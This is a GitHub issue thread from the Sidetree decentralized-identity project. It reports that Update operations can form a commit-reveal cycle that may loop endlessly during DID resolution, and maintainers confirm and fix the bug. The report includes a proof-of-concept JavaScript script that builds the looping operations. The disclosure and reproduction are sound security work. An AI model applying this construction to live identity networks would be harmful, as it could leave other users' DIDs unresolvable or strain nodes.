decentralized-identity / sidetree

Sidetree Specification and Reference Implementation
https://identity.foundation/sidetree/spec
Apache License 2.0
437 stars 112 forks source link

Update operations commit-reveal chain may lead to an unresolvable DID #1169

Closed shakreiner closed 1 year ago

shakreiner commented 2 years ago

The current iterations over Update operation using the commit-reveal chain may lead to an infinite loop when trying to resolve a DID. The thing that can cause this state is having a DID with 2 Update operations, where the second operation commits to the first one again. This situation should not be allowed based on the specification (updateCommitment must be a new commitment in every operation), but the code doesn't seem to enforce that.

I successfully created this state locally (by writing operations to the node's local mongoDB) using the following code (it uses ion-tools):

let RawIonSdk = require('@decentralized-identity/ion-sdk');
const Multihash_1 = require("./ion-tools/node_modules/@decentralized-identity/ion-sdk/dist/lib/Multihash");
const ION = require('./ion-tools')

async function createUpdateOp(didSuffix, updateKeys, nextUpdatePublicKey, patches){
    const hashAlgorithmInMultihashCode = ION.SDK.IonSdkConfig.hashAlgorithmInMultihashCode;

    const revealValue = Multihash_1.default.canonicalizeThenHashThenEncode(updateKeys.publicJwk, hashAlgorithmInMultihashCode);
    const nextUpdateCommitmentHash = Multihash_1.default.canonicalizeThenDoubleHashThenEncode(nextUpdatePublicKey, hashAlgorithmInMultihashCode);
    const delta = {
        patches,
        updateCommitment: nextUpdateCommitmentHash
    };
    const deltaHash = Multihash_1.default.canonicalizeThenHashThenEncode(delta, hashAlgorithmInMultihashCode);
    const dataToBeSigned = {
        updateKey: updateKeys.publicJwk,
        deltaHash: deltaHash
    };
    const compactJws = await ION.SDK.LocalSigner.create(updateKeys.privateJwk).sign({ alg: 'ES256K' }, dataToBeSigned);
    return {
        type: 'update',
        didSuffix: didSuffix,
        revealValue,
        delta,
        signedData: compactJws
    };
}

async function main() {

    let didSuffix = 'EiCd1__Gfn_YkYXjWq62HkowAXq9d2YWON_di4BQnqTDbQ'

    let firstUpdateKeys = JSON.parse('{"publicJwk":{[REDACTED]},"privateJwk":{[REDACTED]}')
    let firstPatch = JSON.parse('[{"action":"add-services","services":[{"id":"some-service-2","type":"SomeServiceType","serviceEndpoint":"http://www.meow2.com"}]}]');

    let secondUpateKeys = JSON.parse('{"publicJwk":{[REDACTED]},"privateJwk":{[REDACTED]}')
    let secondPatch = JSON.parse('[{"action":"add-services","services":[{"id":"some-service-3","type":"SomeServiceType","serviceEndpoint":"http://www.meow3.com"}]}]');

    let thirdUpdateKeys = JSON.parse('{"publicJwk":{[REDACTED]},"privateJwk":{[REDACTED]}')
    let thirdPatch = JSON.parse('[{"action":"add-services","services":[{"id":"some-service-4","type":"SomeServiceType","serviceEndpoint":"http://www.meow4.com"}]}]');

    // First legit update
    let firstUpdateOp = await createUpdateOp(didSuffix, firstUpdateKeys, secondUpateKeys.publicJwk, firstPatch);
    console.log('---------------------------------------------------------------------------------------------------');
    console.log(`[+] #1 update operation buffer:\n ${JSON.stringify(firstUpdateOp)}\nBinary:\n${Buffer.from(JSON.stringify(firstUpdateOp)).toString('base64')}`)

    // Second update
    let secondUpdateop = await createUpdateOp(didSuffix, secondUpateKeys, thirdUpdateKeys.publicJwk, secondPatch);
    console.log('---------------------------------------------------------------------------------------------------');
    console.log(`[+] #2 update operation buffer:\n ${JSON.stringify(secondUpdateop)}\nBinary:\n${Buffer.from(JSON.stringify(secondUpdateop)).toString('base64')}`)

    // Third update
    let thirdUpdateop = await createUpdateOp(didSuffix, thirdUpdateKeys, secondUpateKeys.publicJwk, thirdPatch);
    console.log('---------------------------------------------------------------------------------------------------');
    console.log(`[+] #3 update operation buffer:\n ${JSON.stringify(thirdUpdateop)}\nBinary:\n${Buffer.from(JSON.stringify(thirdUpdateop)).toString('base64')}`)
  }

  function start() {
    return main();
  }

  // Call start
  (async() => {  
    await start(); 
  })();

The potentially infinite loop starts here: https://github.com/decentralized-identity/sidetree/blob/c19a1ec7eca4a5d9ff24989b1f37a6ac6eff40f7/lib/core/Resolver.ts#L141

I tested it on ION and it doesn't seem to affect the core service in terms of resource exhaustion or DoS (probably due to node.js internal event queueing).

There are probably many ways of approaching a fix for that issue, such as iterating the operations based on the ledger time, or checking that the ledger time of the newly applied operation is after the previous one

csuwildcat commented 2 years ago

@thehenrytsai definitely seems hi-pri, I will look at this too and see if I can confirm

thehenrytsai commented 2 years ago

@shakreiner thanks for reporting, definitely sound like a legitimate issue. I will try to reproduce this today and provide a fix.

Adding @xinaxu for awareness.

shakreiner commented 2 years ago

Hey, seems like the issue is fixed. Thanks!

If this is indeed the case, you can close this issue

thehenrytsai commented 2 years ago

This is indeed fixed, will wait to close until after a new release goes out.

decentralgabe commented 1 year ago

closed as fixed